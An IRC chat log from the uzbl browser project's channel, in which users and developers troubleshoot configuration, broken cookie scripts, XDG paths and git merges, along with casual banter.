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20:08 < jrick> can anybody confirm if using setting proxy_url in the experimental branch works?
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20:50 < mariachi> hello people! just wanted to give my congratulations to the devs :D I almost exploded in my pants when I found aabout uzbl *.*
20:50 < M2tias> mariachi: :O
20:50 < mariachi> hehe seriously! I've been using Vimperator for a long time
20:50 < sECuRE> hehe
20:50 < M2tias> sorry, you wouldn't happen to be swedish?
20:51 < mariachi> and always wondered... why can't anyone make a webkit version of this?
20:51 < mariachi> now someone (almost) did
20:51 < mariachi> great job :D
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20:51 < M2tias> mariachi: sorry, you wouldn't happen to be swedish?
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20:51 < mariachi> haha sorry I'm from the opposite end of Europe
20:51 < mariachi> I'm portuguese ;)
20:51 < M2tias> oh, damn. I knew a swedish guy who had a nickname "Mariachi" :|
20:52 < mariachi> I hate copy cats
20:52 < mariachi> lol jk :p
20:53 < uranther> god fuck
20:53  * uranther stabs git
20:54 < mariachi> do you guys know what are (if there are any) the ideas about using links? wondering if there are ideas about making them like Vimperator (press a key and the links higlight with a number)
20:54 < sECuRE> mariachi: that already works
20:56 < mariachi> it does?
20:56 < mariachi> wow how?
20:56 < jrick> fl* and fL*
20:56 < mariachi> I'm still using the sampleconfig
20:56 < sECuRE> see the default config, last few lines
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20:56 < mariachi> ok
20:56 < n2j3> oops, wrong channel
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20:57 < mariachi> this is amazing
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21:03  * DuClare wonders where n2j3 was headed
21:04 < M2tias> nowhere
21:04 < M2tias> I talked to him about uzbl and mentioned this chan
21:04 < M2tias> and he couldn't resist...
21:05 < DuClare> o_O
21:05 < DuClare> Wtf.
21:05 < M2tias> stupid greek
21:07 < uranther> DuClare, i finally got the merge complete :/
21:07 < uranther> i fucked it up the first time and had to go back and fixeded it
21:09 < DuClare> :x
21:10 < uranther> now i know what people mean when they say git is a pita
21:11 < DuClare> Huh?
21:11 < DuClare> No content manager can magically fix conflicts
21:11 < uranther> everyone i talk to say they like subversion better..
21:12 < DuClare> Nah, they're defending their personal preferences
21:12 < DuClare> It's not better
21:12 < uranther> is it equally as confusing?
21:12 < DuClare> It's just different, and more popular (mostly because it's older, I think0
21:13 < Deepspawn> uranther What's confusing about git, do you prefer the merge hell subversion is ?
21:13 < DuClare> uranther, Well, you have to learn the terminology for whatever SCM you use.
21:13 < uranther> i've never tried anything but git so i dunno
21:13 < DuClare> uranther, I think the misconception about Git being "difficult" stems from the times when the kernel guys started using it but documentation was sparse
21:13 < sECuRE> svn’s merge conficlits are at least equally as funny as git’s, IMO
21:13 < DuClare> Git's documentation has greatly improved since 2k7
21:14 < sECuRE> DuClare: ack
21:14 < uranther> i see
21:14 < DuClare> Merge conflicts have little to do with the SCM, in the end.  You have to resolve them manually irrespective of what system you use.
21:14 < DuClare> Well, different managers have different ways of doing merges
21:14 < sECuRE> yep. btw: did you know git mergetool? ;)
21:14 < Deepspawn> svn was a merge hell, losing the history of one of the branches and all that
21:14 < DuClare> And some may be better, but there are no major differences between svn & git in that regard, afaik
21:15 < Deepspawn> I think they fixed a lot of the merge issues now
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21:19 < DuClare> I guess hg's interactivity might make it appaear easier .. might work well for simple stuff, but experience suggests that if basic stuff is made "easy", then more advanced stuff is harder than hard .. or just impossible :)
21:19 < mxey> interactivity?
21:20 < DuClare> Sorry
21:20 < DuClare> I confused with darcs
21:20 < Deepspawn> DuClare, I have a good experience with hg there's very little difference between git and mercurial to be honest
21:21 < DuClare> I haven't really used mercurial myself
21:24 < DuClare> Bazaar, darcs and mercurial I always confuse :|
21:24 < mxey> Bzr and Darcs are the slow ones
21:24 < Deepspawn> Also I don't like the tight  integration between bzr and launchpad
21:24 < DuClare> Indeed
21:29 < Deepspawn> Mercurial has a more compact and unified syntax, but git is more feature complete by default, on mercurial you have to enable some extensions on the config files to get a lot of the default git features
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22:24 < Dieterbe> evening
22:25 < uranther> Dieterbe, i think i got my fork squared away now ;)
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22:28 < Dieterbe> DuClare> Nah, they're defending their personal preferences <-- or often even defending their personal ignorance ;)
22:31 < Dieterbe> psychon: could you maybe also merge in my latest experimental? it will make merging easier for me
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22:33 < sscj> Dieterbe: linkfollow.js now hints on submit form buttons
22:36 < DuClare> Dieterbe, Perhaps
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22:45 < psychon> Dieterbe: I cant, github doesnt accept my pubkey anymore -.-
22:46 < Dieterbe> psychon: o_O
22:47 < psychon> "Permission denied (publickey)."
22:51 < psychon> I'd push, but I cant
22:54 < Dieterbe> would be cool if you can fix that.  if not, do you have a tree publicly accessible somewhere? (i don't mean patches, i mean a git tree)
22:55 < Dieterbe> i'm going to sleep, i'll read your answer tomorrow. laters all
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23:12 < bubaak> is there a way to tell if certain url loaded ok? i'd like to have a command/script that would try load the url and if it failed then google it up
23:15 < uranther> hm i don't think so
23:16 < sscj> you could probably do it with some js and the load_finish_handler
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23:17 < bubaak> hmm thanks for the advice, will look into it
23:17 < uranther> sscj, shouldn't uzbl print all of that kind of behavior on a command in verbose mode?
23:18 < uranther> it does for run_command()
23:18 < sscj> something like set load_finish_handler = js if(document.getElementsById("errorTitle").length > 0){ do google(document.domain)}
23:19 < uranther> :/ that seems like too much of a hack to me
23:19 < uranther> it should print whether it loaded a URI in verbose mode
23:22 < sscj> there is no such thing as "too much of a hack" :v
23:24 < uranther> s/too much of//
23:24 < bubaak> in verbose mode it writes this:
23:24 < bubaak> spawned: '/usr/share/uzbl/examples/scripts/history.sh' '/home/bubaak/.config/uzbl/config' '32443' '54525986' '/tmp/uzbl_fifo_54525986' '/tmp/uzbl_socket_54525986' 'http://archlinux/' 'Error' '2009-06-01 23:23:27' -- result: true
23:24 < bubaak> console message: undefined @1: SyntaxError: Parse error
23:25 < uranther> that's for the history script.. it should say something like "loaded URI: http://www.google.com -- result: true"
23:25 < uranther> or something
23:25 < bubaak> why does it say spawned .. history? i'v tried to load the url with: bind    o _       = uri %s
23:26 < uranther> that's the history handler script
23:26 < bubaak> ahh history_handler, i see
23:27 < bubaak> i'm running mastergwe
23:27 < bubaak> i'm running master, maybe it's in experimental?
23:28 < sscj> guess there should be an error_handler that triggers on the load-error signal
23:31 < bubaak> hmm i cannot see anything like that in the code
23:31 < bubaak> or i don't know what to grep :)
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23:35 < uranther> bubaak, can you submit this as a bug?
23:37 < bubaak> uranther: yeah sure, but i'll try to play with it first
23:38 < uranther> k
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01:34 < bobpaul> I'm confused as to how session.sh should be called. It says act=$8. Does that mean I should only launch it as a binding within config? Or should I just modify session.sh?
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01:40 < bobpaul> I suppose, is there a session_handler variable as there is a download and history handler?
01:44 < Morasique> bobpaul: i've never used it, but it looks like it's designed to be called from uzbl through a binding (there's no special handler for it), and the launching part isn't handled particularly well. it should probably take launch as a special single argument, or have launching be in a separate script
01:47 < bobpaul> Morasique: thanks.
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03:33 < bobpaul> umm.. did github just go down?
03:35 < bobpaul> nm... now it's loading
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04:51 < livibetter> Hi! Is the example cookies.sh working? I got $XDG_DATA/uzbl/cookies.txt written and there is content in it, but the cookies still doesn't seem to work. I tried to logging on google and flickr.
05:00 < Deepspawn> livibetter I think there are some problems still, it works only on some sites
05:02 < livibetter> Deepspawn: could you tell me some sites that it works?
05:07 < Deepspawn> livibetter I'm not really sure I think one of the ones that are listed in the example cookies config.
05:12 < livibetter> hmm I didn't see any. Do you use cookie?
05:14 < livibetter> I forgot to say not working is after uzbl restarts
05:20 < bobpaul> "spawn x arguments" turns into "x $1 $2 ... $8 arguments", right?
05:25 < bobpaul> because I thought I was built from master and had my config setup so it only worked if that was executed as "x arguments $1 $2 ..." (and have been using it for days), switched to experimental and everything broke, switched back to master and it's still broke
05:25 < Morasique> bobpaul: it passes the script the current configuration filename, some number i'm not sure about, the unique id for the uzbl instance, the fifo filename, the socket filename, the current url, the current page title, and then your args
05:26 < Morasique> so there's 7 args before yours, although it doesn't quote the title so that can end up as multiple args
05:26 < Morasique> i'm not sure of a good way to deal with that
05:26 < bobpaul> yeah.. ok.. it didn't up until 20 minutes ago... I wonder what the hell branch I was using
05:28 < bobpaul> I had bind "window _ = spawn uzbl --uri "%s" -c" and it's worked for the past few days because the config was placed at the end (even though it shouldn't have been)
05:29 < bobpaul> and some other scripts... like I just re-wrote the session.sh script to match that behavior, and now my uzbl is working as documented (which is good, but... grr)
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06:13 < bobpaul> (continues) this is really weird... my config uses insert_mode and has a line "#TODO: no 'toggle' command?" obviously I was on a wrong branch or an old commit or something, but I don't know why I would have done that.
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07:02 < bobpaul> Morasique: arg 7 is properly quoted. You don't see them because you're on the receiving end, but it puts all of the title into arg 7 of your script, so $8 will always be the first of your extra args
07:02 < bobpaul> just tested
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07:48 < Morasique> bobpaul: ah, ok, that's good. i was echoing $* into a file, it didn't occur to me that it wouldn't include the quotes
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08:38 < andy753421> does the cookies.sh script actually work? It seems to be sending printing out the cookies properly, but they're not getting sent with the HTTP request
08:39 < Morasique> andy753421: somebody asked that earlier, Deepspawn says it only works on some sites
08:40 < andy753421> then i must be having a different issue, because if the headers aren't getting send, i doubt it'd work on any site..
08:40 < MarSoft_> maybe they are sent only to some sites?..
08:41 < Morasique> yeah, i don't know what the bug is, it may be that it doesn't send them when it should
08:41 < Morasique> unfortunately i don't know of any known-good sites to test with
08:42 < andy753421> well, soup_message_headers_replace() is getting called in the handle_cookies() function, but wireshark tells me that the Cookie: header is not being sent
08:42 < andy753421> which makes me think that the problem is related to libsoup or something
08:44 < Morasique> hmm. if you figure it out mention it in here, otherwise i'll mess with it tomorrow
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08:48 < andy753421> i probably won't mess with anymore tonight, i've had enough soup already
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09:13 < Dieterbe> morning ladies
09:14 < Frots> hi Dieterbe
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10:15 < DuClare> Morning o/
10:15 < mxey> Moin.
10:15 < Frots> hi there
10:20 < Dieterbe> hello
10:23 < DuClare> O, hm, did rob go trekking?
10:27 < Dieterbe> not sure. could be
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11:09 < DuClare> ** By default, open query buffers that are initiated by others in a new
11:09 < DuClare> unselected window.  This may be changed by customizing the
11:09 < DuClare> `erc-auto-query' option.  This should make ERC more friendly to new
11:09 < DuClare> users.
11:09 < DuClare> friendly = add a freaking annoying popup thingy you have to disable..
11:10 < DuClare> Did people ever do research on what IS friendly?
11:13 < Dieterbe> hm? what's this about?
11:13 < Dieterbe> what's erc?
11:13 < DuClare> Emacs irc client
11:14 < Dieterbe> well, that explains :)
11:14 < Dieterbe> emacs guys call twisting your fingers in all kinds of awkward directions userfriendly :P
11:15 < DuClare> I have a good keyboard!
11:15 < DuClare> No twisting needed. :)
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12:07 < bjesus> hey, is there a branch of uzbl that already has cookies working?
12:07 < Dieterbe> no
12:08 < Dieterbe> though i'm somewhat close in my experimental
12:08 < bjesus> thanks :) i thought i was maybe missing something with all of these branches :)
12:08 < bjesus> doesn't webkit provide an easy way to implement that?
12:09 < Dieterbe> libsoup does, yeah
12:09 < Dieterbe> but that doesn't comply with our opinion that an external script should handle it
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12:10 < bjesus> i understand. fine, i'll wait :) uzbl+awesome is working great over here, it's a pleasure to use. thank you
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12:18 < frots_food> that was nice
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12:19 < Dieterbe> yeah food is the best
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12:20 < Frots> so true
12:20 < Frots> nice salmon snadiwch with coms creamy cheese
12:20 < Frots> (tiled on a minimalistic plate, just to stay on-topic;))
12:21 < Dieterbe> :)
12:21 < Dieterbe> now i'm hungry too
12:22 < Frots> 8) fix yourself something, im going for round 2 ! got some chinois laying around somewhere here
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13:11 < barrucadu> Dieterbe: Go on Google Analytics, look at the traffic to uzbl.org
13:12 < barrucadu> Over 12k visits on the 26th
13:19 < Dieterbe> yeah
13:19 < Dieterbe> hackernews contribution :)
13:19 < Dieterbe> that day we went from 50->70 people in the chan :P
13:20 < Frots> :P
13:20 < locks> the guy who made uzbl sucks
13:20 < locks> I hope he isn't around
13:21 < DuClare> I don't think he's around :)
13:22 < Frots> lawl
13:22 < locks> oh, nice ;P
13:26 < locks> can I find a list of all the commands for the config file somewhere?
13:27 < DuClare> Read the readme
13:27 < locks> gottit
13:27 < DuClare> (Why does it feel so stupid to repeat that?)
13:28 < Frots> :))
13:29 < locks> I was looking around on the wiki
13:29 < locks> swing and miss
13:31 < MarSoft_> Maybe make a corresponding section in Wiki?
13:31 < DuClare> Feel free
13:32 < Frots> :))
13:32 < DuClare> I won't, because things are still changing.  Updating the readme, sampleconfig and sampleconfig-dev is more than enough work after changes.. :>
13:33 < MarSoft_> hm...
13:40 < locks> The config That Never Ends
13:41 < Dieterbe> locks: so, why do you think that guy sucks?
13:41 < locks> I mean, another browser
13:41 < locks> that's so original
13:41 < locks> let's make it neither cli nor gui
13:41 < locks> and bam
13:41 < locks> uzbl
13:42 < DuClare> Dieterbe, http://github.com/DuClare/uzbl/commit/8dccb9409d3de598d23335a6d74b8ef8abd46f41
13:42 < Frots> :p
13:42 < locks> DuClare: n1
13:44 < Masca> haha
13:44 < Dieterbe> DuClare: maybe change it to "where do i find more information" , don't be specific about one thing
13:45 < DuClare> Nope, too generic
13:45 < DuClare> If people want "more information", they should already know to look at readme
13:45 < locks> make it hyperlinked
13:45 < locks> for those really daft ones (self included)
13:45 < DuClare> Dieterbe, And if they want to know about commands specifically, I doubt they'll pay attention to a point about finding "more information" - too vague
13:50 < Dieterbe> DuClare: k good point. but still i would call it something like "ok, so what can i do?" or something
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14:52 < Dieterbe> DuClare: ^^ ?
14:59 < DuClare> k
15:01 < DuClare> Dieterbe, http://github.com/DuClare/uzbl/commit/bb44c4993d675fa6d0a88e18f567b1eeaac10cc2
15:01 < DuClare> Take or fix ;)
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15:03 < Dieterbe> looks good
15:04 < sscj> perhaps suggest the wiki/config page?
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16:53 < rxxuf> hi all
16:53 < rxxuf> what is the default config file?
16:55 < Dieterbe> what do you mean "what is it?" ?
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16:55 < Zaba_> $XDG_CONFIG_HOME/uzbl/config I guess
16:56 < Dieterbe> there is no default config file
16:56 < Dieterbe> only some example config files
16:56 < Zaba_> Dieterbe, config.h...
16:56 < rxxuf> Dieterbe, I meant "where is"
16:56 < Dieterbe> that's not a config file for the user, Zaba_ 
16:57 < Dieterbe> rxxuf: well, we don't have any
16:57 < rxxuf> so what are the default key bindings then?
16:57 < Zaba_> the default path that is used unless some other one is given is $XDG_CONFIG_HOME/uzbl/config
16:57 < Dieterbe> there are no default keybindings. see our faq
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17:00 < rxxuf> uzbl crashes on gmail.com. Is it me only. Using the experimental one.
17:01 < Frots> rxxuf:
17:01 < Frots> the browser doesnt crash on me
17:01 < Frots> but gmail gives me errors
17:02 < ph030> hello :) can someone enlighten me, why my download-handler works if i do "right click->download", but not, if i left-click on it or directly enter the url?
17:02 < bubaak> gmail.com crashes on me too, but only when not run in gbd, so investigating is a bit tricky :)
17:02 < MarSoft_> bubaak: maybe some timings-related bug?..
17:03 < bubaak> ph030: because uzbl doesn't resolve urls that way i think
17:03 < Dieterbe> yeah sounds like a race condition to me
17:03 < ph030> bubaak, so there's no way around clicking, yet?
17:04 < bubaak> i didn't have much time to investigate yet, but will look into it
17:04 < bubaak> ph030: not sure, that would be a question for the more enlightened :)
17:05 < ph030> well, for those who want to have a look, i already sent the script to the ml, for those not on the ml, you can have a look at it at http://ph030.de/projects/uzbl/uzbl_download :)
17:06 < bubaak> yeah i already saw it, but didn't have time to try it out as i am at work now
17:07 < MarSoft_> how to subscribe the mailing list ?
17:07 < sscj> go to lists.uzbl.org
17:07 < sscj> sign up
17:07 < MarSoft_> sscj: thank you
17:10 < ph030> does someone know a way to spawn a dmenu which only allows to select the presented choices and not enter something else? either i'm blind or too stupid :/
17:10 < Frots> or both :P
17:10 < Frots> but i dunno
17:11 < ph030> well, at least i'm wearing my glasses :p
17:11 < ph030> <- near-death-blindness :D
17:11 < Dieterbe> ph030: i don't think you can force dmenu to do that
17:12 < bubaak> ph030: maybe it's not possible as it's primary use was to choose one thing from many by typing?
17:13 < ph030> Dieterbe, yeah, but if i want to present only something like yes/no and the user enters something different, i gotta make a loop until a valid choice comes out
17:13 < Dieterbe> ph030: ..but if the user types something that's not in the list, and that breaks things, well.. then it's his own damn fault :) applications should not try to be smarter then the user imho
17:13 < Dieterbe> ph030: you could do for example check if dmenu's output matches 'yes', and consider anything else to be a no. (or the other way around, depending on what you want default behavior to be)
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17:15 < ph030> Dieterbe, that's what i'm doing currently, but i found it a little unclean - well, for now i'm the only user of said script, so i don't care to much. would be only annoying if i accidently hit a wrong key :/
17:15 < Dieterbe> ph030: hmm i guess you could write a litter dmenu wrapper and use that in your scripts
17:16 < Dieterbe> ph030: personally i just use zenity for yes/no things, though i can understand if you don't like zenity
17:17 < ph030> Dieterbe, well, there's always dialog, but i don't know if this has more beauty on it than gtk/qt
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17:34 < Dieterbe> ph030: hmm but then you need to spawn a terminal with a shell, just to run dialog
17:35 < MarSoft_> There is also kdialog
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17:37 < Dieterbe> yeah. that's like the qt zenity counterpart, no?
17:37 < MarSoft_> yes.
17:37 < MarSoft_> and there is also xdialog, which uses GTK
17:39 < Dieterbe> hmm i seem to recall i tried it once, but found zenity nicer
17:39 < Dieterbe> but maybe xdialog is more lightweight. not sure
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17:56 < Dieterbe> @peak
17:56 < dev_null> Dieterbe: github set a record of 72 people in #uzbl on June 01, 2009 at 04:20 PM CET. You'll need 2 more people to break the peak.
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20:21 < Dieterbe> evening
20:24 < terver> hello
20:25 < terver> Dieterbe, I have asked it already, but seem got no answer - is it currently possible to bind, for example Ctrl+K to forward to google?
20:25 < Deepspawn> terver forward what?
20:25 < terver> I mean open google.com
20:26 < Deepspawn> Yes it's posible, bind ^K = url www.google.com
20:26 < Deepspawn> it's uri not url
20:27 < Deepspawn> ^K is inserted typing Ctrl + v  and then Ctrl + K
20:27 < terver> heh like in vi
20:28 < terver> thanks
20:28 < Deepspawn> well yes :P I was going to add on some editors :P
20:38 < dreadlorde> has anyone wrote a script for handeling cookies that works? :p
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20:39 < Dieterbe> dreadlorde: no
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21:51 < Dieterbe> heya psychon 
21:52 < Dieterbe> does the policy thing work fo ryou?
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22:11 < bct> what's broken about the existing cookie scripts?
22:13 < Dieterbe> it doesn't work :)
22:13 < Dieterbe> not sure yet why
22:13 < Dieterbe> shouldn't be too much work to fix it, but first i have to do some merges
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22:22 < bct> wheee, sounds like a job of about the size i can handle right now!
22:22 < bct> nobody fix it before i get home, ok?
22:22 < bct> :P
22:23 < uranther> k
22:25 < Dieterbe> bct: ok :) be sure to set http_debug to and call uzbl with the --verbose flag. then you see all invocations of the cookie script and all http headers.  the storing of cookies works fine (PUT requests), GET requests should also work (the script echos them to stdout) but for some reason they don't always appear in the http header
22:25 < Dieterbe> http_debug to 3*
22:35 < bct> hmm, interesting.
22:35 < bct> ok, thanks
22:38 < Dieterbe> uranther: why did you move the includes for sys/un.h and types.h around?
22:39 < Dieterbe> uranther: seems like a useless change to me :/
22:41 < uranther> Dieterbe, there were duplicates on the copy i edited
22:41 < uranther> was just trying to organize junk
22:42 < Dieterbe> yeah i saw you removed some dupes
22:42 < Dieterbe> but others were just rearranged
22:42 < Dieterbe> for no reasen
22:43 < uranther> i dunno
22:47 < Dieterbe> hmmz
22:47 < Dieterbe> uzbl.c: In function ‘set_var_value’:
22:47 < Dieterbe> uzbl.c:1556: warning: implicit declaration of function ‘strtof’
22:48 < Dieterbe> even though i have:
22:48 < Dieterbe> #include <stdlib.h>
22:48 < Dieterbe> uranther: any idea? ^^
22:48 < uranther> hm
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22:50 < uranther> http://uranther.pastebin.com/d61847151 i have these in uzbl.c
22:50 < uranther> compiles without a problem in relation to strtof
22:51 < Dieterbe> cool if i press '0' the page becomes white :P
22:53 < uranther> er?
22:53 < Dieterbe> when i use your include directives i get exactly the same behaviour :/
22:53 < Dieterbe> same compiler warning and broken behavior
22:53 < uranther> maybe i will have to repull your experimental tree or something
22:54 < uranther> altho i thought it was the latest?
22:54 < Dieterbe> yeah it was
22:54 < Dieterbe> i don't think that's the problem
22:54 < Dieterbe> it's odd that it works for you and not for me.
22:54 < Dieterbe> it's probably a C/library/.. thing, not a git thing
22:55 < uranther> ooh
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22:58 < uranther> http://uranther.pastebin.com/d495d2530 maybe this will help Dieterbe dunno
22:59 < uranther> i'm using webkit 1.1.7
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23:01 < Dieterbe> i'm off
23:01 < Dieterbe> see you guys tomorrow or so
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23:33 < bobpaul> has anyone who doesn't normally use a tiling WM tried running uzbl + a tiling WM inside xnest?
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00:23 < electricshoes> hey all, is it possible to save passwords in uzbl?
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00:47 < Deepspawn> hello, not yet
00:48 < electricshoes> ok, thanks
00:55 < sscj> electricshoes: but you can use one of the form filler scripts
00:56 < M2tias> I don't think they even would add a feature like that
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01:02 < Deepspawn> M2tias Most of sites remember logins using cookies, otherwise you could use the example formfiller as a base for password management tool
01:03 < M2tias> yeah, I know...
01:04 < electricshoes> i'l give it a shot, I see uzbl hitting the cookie file but nothing is saving to it.
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01:08 < M2tias> I should look at the scripts and conf the uzbl properly but I'm too lazy. the example conf works well enough when I don't use cookies or download with it >_>
01:10 < Sertse> morning all, I'm taking the plunge now , wish me luck
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01:57 < bobpaul> I know setting up some sort of wrapper script to manage/group the windows from multiple instances of uzbl for people not using tiling window managers is "planned."
01:58 < bobpaul> Can anyone provide any insight into how one might start on something like this?
01:58 < bobpaul> would it need to be window manager specific? Would it probably require changes to uzbl?
02:16 < jedahan> where are things downloaded to by default?
02:17 < jedahan> electricshoes, if you come up with a good password manager dont forget to upload it to the wiki
02:18 < electricshoes> jedahan, will do
02:20 < bobpaul> jedahan: the example download.sh puts things in $HOME by default, unless they're torrent files. You can modify it to do whatever you want with your downloads
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02:25 < jedahan> my download_handler is set to the regular script, it exists and is runnable and looks good to me, but files are not downloading...
02:28 < jedahan> $8 is still the passed variable?
02:29 < jrib> so does anyone use uzbl together with xmonad?  How are you managing windows there?
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03:06 < bct> hmm, no caching yet?
03:07 < bct> oh, i did get a 304 Not Modified in response to something
03:07 < bct> so nm
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03:31 < Deepspawn> bct, I do caching with polipo
03:32 < Deepspawn> jrib I'm using awesome, horizontal layout on bottom, main tile on top set to 80% of the height, but some times I use vertical layout with main on left
03:35 < bct> ah, is caching something like adblocking that is being done externally?
03:35 < Deepspawn> disk caching, webkit has it own memcaching
03:35 < Deepspawn> but polipo serves well both purposes
03:36 < Deepspawn> adblocking and caching
03:39 < bct> man, zenity has a ton of dependencies
03:39 < bct> at least on gentoo
03:47 < bobpaul> bct: yeah, if you're not using gnome, it'll pull a lot. it depends on cairo, glade, pango.. those all each take a lot of depends
03:49 < bct> i have most of that, it's stuff like sgml-common and docbook-xml-dtd that's bugging me
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04:05 < Masca> how do I clean up my git workspace? get everything not tracked away from it.
04:08 < bobpaul> rm -rf *; git checkout master
04:08 < bobpaul> just make sure you don't delete the .git folder
04:08 < bobpaul> oh.. and check in your changes first
04:09 < bobpaul> and replace master with whatever your branch name is, obviously
04:10 < Masca> mmm thanks. It should work.
04:12 < Masca> bobpaul: rm -rf: git reset --hard
04:12 < Masca> Checkout will tell you that you are on the branch.
04:13 < bobpaul> oh yeah? hmm
04:14 < bobpaul> oh, that's right... checkout requires the working space matches a valid branch... I get that all the time "git checkout somebranch --> 'No, you have changes!' "
04:14 < Masca> yup. And status will say you deleted everything. hehe
04:16 < bobpaul> anyone know of a workaround for the javacript: link issue? ie, "Cannot open URL http://javascript:someFunction()"? I just want my npr! ;)
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07:37 < lestmeforget> hello?
07:37 < Morasique> hello!
07:38 < lestmeforget> Hi! I just install uzbl yesterday, and found it rocks!
07:38  * Morasique rejoices
07:39 < lestmeforget> my problem is how to set a specific font for webpages
07:42 < lestmeforget> anyone knows how to change fonts?
07:44 < bobpaul> like a default font? Or you want to load a page than selectively change the font for some text? or what exactly?
07:45 < Morasique> i think he wants the global font family to change. there's a property for it in WebKitWebSettings (default-font-family), but it looks like uzbl doesn't expose a way to change it like it does for default-font-size
07:47 < lestmeforget> Ya, the global font family, i'm tring the webkitwebsetting...
07:47 < Morasique> if you want to edit the code you should be able to copy everything for the font size to make a separate config for the family
07:55 < lestmeforget> oops, it doesn't work for me
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07:58 < lestmeforget> thanks anyway
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09:14 < lestmeforget> As for the font-changing problem, i have find a solution with stylesheet.
09:19 < lestmeforget> add "set stylesheet_uri = file:///path/to/your/css" to config, and edit the css. May this help someone.
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09:23 < kagashe> hi, i compiled & installed uzbl on Ubuntu Jaunty. There is only one problem. Perhaps Ubuntu does not understand $XDG_DATA_HOME variable. What should I do?
09:33 < Zaba> sure you don't want XDG_CONFIG_HOME?
09:36 < kagashe> I can't load bookmarks from ~/.local/share/uzbl/bookmarks because the load_bookmarks script looks for $XDG_DATA_HOME/uzbl
09:37 < kagashe> I am thinking of setting this variable in config file, will that be ok
09:38 < Zaba> no
09:39 < Zaba> you can set it in your shell startup files though
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10:29 < Dieterbe> morning ladies
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10:40 < Dieterbe> bobpaul: there is a document explaining how i want to do multiple instance management. look in the 'docs' folder. also , someone mentioned xnest which i will further look into when home
10:40 < Dieterbe> cause it looks nice
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10:43 < Dieterbe> kagashe: on ubuntu, $XDG_DATA_HOME really should be set :/
10:43 < Dieterbe> kagashe: can you open a shell and type: env | grep -i xdg 
10:45 < kagashe> env | grep -i XDG
10:45 < kagashe> XDG_SESSION_COOKIE=6bef2157547ff121adacd2a749f47060-1244012410.277848-949553554
10:45 < kagashe> XDG_CONFIG_HOME=/home/vidya/.config
10:45 < kagashe> XDG_DATA_DIRS=/usr/local/share/:/usr/share/:/usr/share/gdm/
10:46 < Dieterbe> have you been playing with your xdg settings? i'm pretty sure you should have $XDG_DATA_HOME on ubuntu.
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10:48 < kagashe> echo $XDG_DATA_HOME produces a blank
10:49 < psychon> Dieterbe: I only have XDG_SESSION_COOKIE set, nothing else
10:49 < Dieterbe> psychon: what OS are you on?
10:49 < psychon> debian
10:49 < unohu> hi
10:50 < unohu> where can i find a list of all commands that can be bound in the config
10:50 < Dieterbe> ok well then i guess it's simple. you need to ask yourself if you want to use the xdg spec to manage your data or not, and if so. how to enable the env vars properly. there is plenty of docs about that on the interwebs
10:50 < Dieterbe> unohu: read our FAQ
10:50 < psychon> Dieterbe: http://n.ethz.ch/~nevillm/download/libxdg-basedir/libxdg-basedir-1.0.0.tar.gz
10:50 < psychon> there is a lib for this xdg-basedir stuff
10:50 < unohu> Dieterbe: thanks
10:51 < psychon> Dieterbe: http://n.ethz.ch/~nevillm/download/libxdg-basedir/doc/
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10:53 < Dieterbe> psychon: can you make a bugreport for this on the uzbl bugtracker?
10:53 < Dieterbe> psychon: assign it to barrucadu
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10:53 < psychon> there is a bug tracker?..
10:54 < unohu> Dieterbe: it may be something obvious.. but i am missing it..
10:54 < Dieterbe> psychon: yes.
10:55 < holizz> I haven't managed to get cookies working, so I thought I'd come and ask here. The cookies.sh in both master and experimental seem to not work.
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10:56 < Dieterbe> holizz: that's correct
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10:56 < unohu> i will reformat my question...
10:56 < Dieterbe> bct: did you have a look at the cookies yesterday?
10:56 < unohu> are there more stuff that can be bound which are not present in the example config...
10:57 < Dieterbe> unohu: maybe 1 or 2 really new things are missing, but that should be it
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11:18 < hastake> hello all
11:21 < Dieterbe> hi
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11:42 < Frots> hi hastake
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14:57 < kagashe> hi, I solved the XDG_DATA_HOME problem on Ubuntu
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14:57 < kagashe> Now the problem is Ubuntu does not have vertical patch to dmenu
14:58 < kagashe> The bookmarks are displayed horizontally
14:58 < kagashe> How can I patch the .deb of dmenu?
14:58 < Frots> recompile?
14:59 < kagashe> where is the source?
14:59 < Frots> google?
14:59 < Frots> dunno
15:00 < kagashe> You see there is an AUR which is specific to Archlinux
15:00 < Frots> if you check the pkgbuild in aur
15:01 < Frots> you can see where it fetches the source from
15:01 < teop2k> but pkgbuild contains source address
15:01 < Frots> what teop2k is syaing
15:01 < Frots> saying
15:02 < kagashe> I have checked the source of AUR is dmenu (unpatched)
15:02 < Frots> so use that source
15:02 < Frots> and use the same patch
15:03 < teop2k> kagashe: it even show you how to compile in build sectoin
15:03 < teop2k> section*
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15:28 < Dieterbe> @peak
15:28 < dev_null> Dieterbe: Deepspawn set a record of 74 people in #uzbl on June 03, 2009 at 01:10 PM CET. You'll need 2 more people to break the peak.
15:29 < Dieterbe> yeay
15:29 < Deepspawn> I win
15:29 < Deepspawn> \O/
15:30 < Dieterbe> i'll have to think what i'll do when we hit 100
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15:34 < Frots> close the channel ofcourse
15:35 < Dieterbe> :D
15:40 < DuClare> Redirect newcomers to /dev/null
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15:48 < MarSoft_> *redirect them to uzbl@conference.jabber.org :)
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15:48 < Dieterbe> irc > jabber
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15:49 < splattael> room created ;)
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15:52 < sscj> sup people
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15:53 < Frots> hey sscj
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16:55 < Frots> bye
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16:56 < jelly12gen> .part
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16:57 < Dieterbe> @peak
16:57 < dev_null> Dieterbe: _19LIONZ set a record of 78 people in #uzbl on June 03, 2009 at 02:47 PM CET. You'll need 4 more people to break the peak.
16:58 < Dieterbe> nice
16:58 < Dieterbe> Deepspawns record is already evaporated :P
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17:03 < uranther> gah.. Dieterbe i tried pulling your latest experimental and merging after i edited FAQ but it says FAQ would be overwritten. it cannot merge
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17:05 < Dieterbe> o_O
17:06 < uranther> i even tried removing my changes from FAQ .. :p
17:07 < Dieterbe> you should just have a clean dir (eg cleaned up and/or committed your changes) when you then merge, either git can merge it for you, or you have to merge it manually
17:07 < Dieterbe> but overwriting it??
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17:09 < uranther> wtf.. i even removed everything but .git and it still says the same thing
17:11 < uranther> i think i fundamentally misunderstand git :P
17:14 < Dieterbe> yeah
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17:14 < Dieterbe> seems definitely like a classic case of pebcak to me
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17:36 < ph030> morning :) i'm currently working on a script for "visual bookmarks" and for that, need a cli-screenshot-tool which a) doesn't have many/heavy deps and b) to which i can pass a window-id. scrot has the "-s", but that needs me to click and import doesn't seem to have a real selection-feature at all. some hints?
17:37 < Zaba> import from imagemagick perhaps
17:37 < Zaba> it has an option for window id
17:38 < ph030> really, than i must be terribly blind :(
17:38 < Zaba>          -window id           select window with this id or name
17:38 < ph030> oh damnit, thanks :)
17:38 < Zaba> no problem
